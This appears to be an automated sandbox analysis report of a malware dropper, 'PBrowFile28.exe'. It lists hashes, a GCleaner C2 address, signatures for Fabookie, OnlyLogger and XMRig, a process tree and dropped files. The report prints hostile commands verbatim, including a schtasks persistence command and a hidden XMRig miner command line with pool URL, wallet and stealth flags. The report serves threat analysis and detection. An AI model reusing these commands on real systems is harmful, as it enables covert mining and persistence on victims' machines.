Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-11-2024 13:01

General

  • Target

    keygen-step-4/PBrowFile28.exe

  • Size

    1.8MB

  • MD5

    8902f8193024fa4187ca1aad97675960

  • SHA1

    37a4840c9657205544790c437698b54ca33bfd9d

  • SHA256

    95de484851569f225488320d573e398ebc2312b2d85b6c2b255b63b21aebb82f

  • SHA512

    c351204604cb24c45ddb26847a22f5487a2942ad2b2361dbd31ce0a308c281be91658907d7fe04b483f053b7f9b0c680cae11361709ba7552f7921e727241938

  • SSDEEP

    49152:kqq2BEim5e9JoNLPxZVwNKaLsJi2lZZ6:xYOoNLJk1Yf

Malware Config

Extracted

Family

gcleaner

C2

194.145.227.161

Signatures

  • Detect Fabookie payload 1 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

  • Fabookie family
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

  • Gcleaner family
  • OnlyLogger

    A tiny loader that uses IPLogger to get its payload.

  • Onlylogger family
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • OnlyLogger payload 1 IoCs
  • XMRig Miner payload 11 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 7 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 8 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\keygen-step-4\PBrowFile28.exe
    "C:\Users\Admin\AppData\Local\Temp\keygen-step-4\PBrowFile28.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1016
    • C:\Users\Admin\AppData\Local\Temp\chrome3.exe
      "C:\Users\Admin\AppData\Local\Temp\chrome3.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4068
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:944
      • C:\Users\Admin\AppData\Roaming\services64.exe
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4940
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:220
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4524
        • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:3696
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.office/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BetGR/pnUtRI9a9x7kTNHhD/AzlqVRzHV746NYfGJ5T" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5048
    • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser188.exe
      "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser188.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1696
    • C:\Users\Admin\AppData\Local\Temp\2.exe
      "C:\Users\Admin\AppData\Local\Temp\2.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3412
    • C:\Users\Admin\AppData\Local\Temp\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\setup.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2264
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 788
        3⤵
        • Program crash
        PID:4548
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 824
        3⤵
        • Program crash
        PID:3076
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 800
        3⤵
        • Program crash
        PID:3732
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 944
        3⤵
        • Program crash
        PID:3336
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 960
        3⤵
        • Program crash
        PID:3056
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 1132
        3⤵
        • Program crash
        PID:4844
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 1140
        3⤵
        • Program crash
        PID:4220
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 1208
        3⤵
        • Program crash
        PID:2928
    • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
      "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
      2⤵
      • Executes dropped EXE
      PID:2396
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2264 -ip 2264
    1⤵
      PID:2812
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2264 -ip 2264
      1⤵
        PID:4832
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2264 -ip 2264
        1⤵
          PID:1960
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2264 -ip 2264
          1⤵
            PID:2240
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2264 -ip 2264
            1⤵
              PID:908
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2264 -ip 2264
              1⤵
                PID:3480
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2264 -ip 2264
                1⤵
                  PID:3280
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2264 -ip 2264
                  1⤵
                    PID:2436

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\2.exe

                    Filesize

                    8KB

                    MD5

                    a5bace3c3c2fa1cb766775746a046594

                    SHA1

                    9998cad5ba39e0be94347fcd2a2affd0c0a25930

                    SHA256

                    617de4cdc27fb67b299a0d95ff2129d0ea2488040bcfd5f64868a0fab33af7a6

                    SHA512

                    66f0cb5b820014a8d73bab706de8138d22a4d690d77726ac53b785daf99ed45646c8b0236bf10e209039f78324a63c3ee1c2f7ccf852fa7d579753cb9f659184

                  • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser188.exe

                    Filesize

                    101KB

                    MD5

                    13e802bd360e44591d7d23036ce1fd33

                    SHA1

                    091a58503734848a4716382862526859299ef345

                    SHA256

                    e24c3eda7673062c9b243a09bc91e608f4d9dcc5de27db025b5ad150ae014f2b

                    SHA512

                    8bb52a3b0852cc345be7d4b50b19c3778bcae5cb7ee654aced93772bee6fd22d1e87c484d91afb10af040d7c52b0f1e0b60de47a28d8eeea5e3c6afcead6163b

                  • C:\Users\Admin\AppData\Local\Temp\chrome3.exe

                    Filesize

                    43KB

                    MD5

                    4b0d49f7c8712d7a0d44306309f2e962

                    SHA1

                    5f0a2536f215babccf860c7ccdeaf7055bb59cad

                    SHA256

                    f996915ce7203dc3661afa686637426fab14c91682ada02054d2f64ce245af60

                    SHA512

                    50dc00bebdafdc2cc1792a45cab5f13773ff0026c20618eec29f50000261afba65f58cec5d30be0fd5aaea17cac30b97b16be70c6f430987cd10a8488948ee2b

                  • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe

                    Filesize

                    1.3MB

                    MD5

                    f9be28007149d38c6ccb7a7ab1fcf7e5

                    SHA1

                    eba6ac68efa579c97da96494cde7ce063579d168

                    SHA256

                    5f6fc7b3ebd510eead2d525eb22f80e08d8aeb607bd4ea2bbe2eb4b5afc92914

                    SHA512

                    8806ff483b8a2658c042e289149e7810e2fb6a72fb72adbf39ed10a41dbab3131e8dfdaca4b4dba62ed767e53d57bd26c4d8005ce0b057606662b9b8ebb83171

                  • C:\Users\Admin\AppData\Local\Temp\setup.exe

                    Filesize

                    314KB

                    MD5

                    0ebb4afbb726f3ca17896a0274b78290

                    SHA1

                    b543a593cfa0cc84b6af0457ccdc27c1b42ea622

                    SHA256

                    2fd099e9c096efb59756565d50243387d7669d60c2088e842f1f5d9ef297b6d2

                    SHA512

                    284063f08667af11bc593dcb88f19d2bc6b9fd1e2edf368fdc78f07c9956fa3078673ee7dd7ca349e32cb1f848edfeab3b6a758eac5e5c3d36dc1a8764353d11

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

                    Filesize

                    7KB

                    MD5

                    9910203407b2605107587e954081c575

                    SHA1

                    8037bfb3b779fbbb3273df4f5c63d15b9589ce95

                    SHA256

                    07b00c604d6473439dcd16b47cbefa450aad400871cb2215f0814547aca81b49

                    SHA512

                    ba2c532d16eb259ae1621ac6ab668b4da28b2a842cb7320eee11982e2b835979c1ec6c566e3207e798fd2d0767070a568d2cd32dbb19200572afb2c7b32a68be

                  • memory/1016-1-0x00000000009A0000-0x0000000000B76000-memory.dmp

                    Filesize

                    1.8MB

                  • memory/1016-0-0x0000000074F9E000-0x0000000074F9F000-memory.dmp

                    Filesize

                    4KB

                  • memory/1696-38-0x0000000000DE0000-0x0000000000E00000-memory.dmp

                    Filesize

                    128KB

                  • memory/1696-45-0x00000000016A0000-0x00000000016BA000-memory.dmp

                    Filesize

                    104KB

                  • memory/1696-49-0x00007FFCC7300000-0x00007FFCC7DC1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/1696-60-0x00007FFCC7300000-0x00007FFCC7DC1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2264-62-0x0000000000400000-0x0000000002B59000-memory.dmp

                    Filesize

                    39.3MB

                  • memory/3412-39-0x00000000004F0000-0x00000000004F8000-memory.dmp

                    Filesize

                    32KB

                  • memory/3696-96-0x0000000000B90000-0x0000000000B96000-memory.dmp

                    Filesize

                    24KB

                  • memory/4068-65-0x00000000011F0000-0x00000000011FE000-memory.dmp

                    Filesize

                    56KB

                  • memory/4068-61-0x00007FFCC7303000-0x00007FFCC7305000-memory.dmp

                    Filesize

                    8KB

                  • memory/4068-66-0x0000000001240000-0x0000000001252000-memory.dmp

                    Filesize

                    72KB

                  • memory/4068-15-0x0000000000840000-0x0000000000850000-memory.dmp

                    Filesize

                    64KB

                  • memory/4068-13-0x00007FFCC7303000-0x00007FFCC7305000-memory.dmp

                    Filesize

                    8KB

                  • memory/5048-105-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-101-0x00000000029B0000-0x00000000029D0000-memory.dmp

                    Filesize

                    128KB

                  • memory/5048-100-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-104-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-98-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-103-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-102-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-106-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-107-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-109-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-110-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB

                  • memory/5048-116-0x0000000140000000-0x0000000140786000-memory.dmp

                    Filesize

                    7.5MB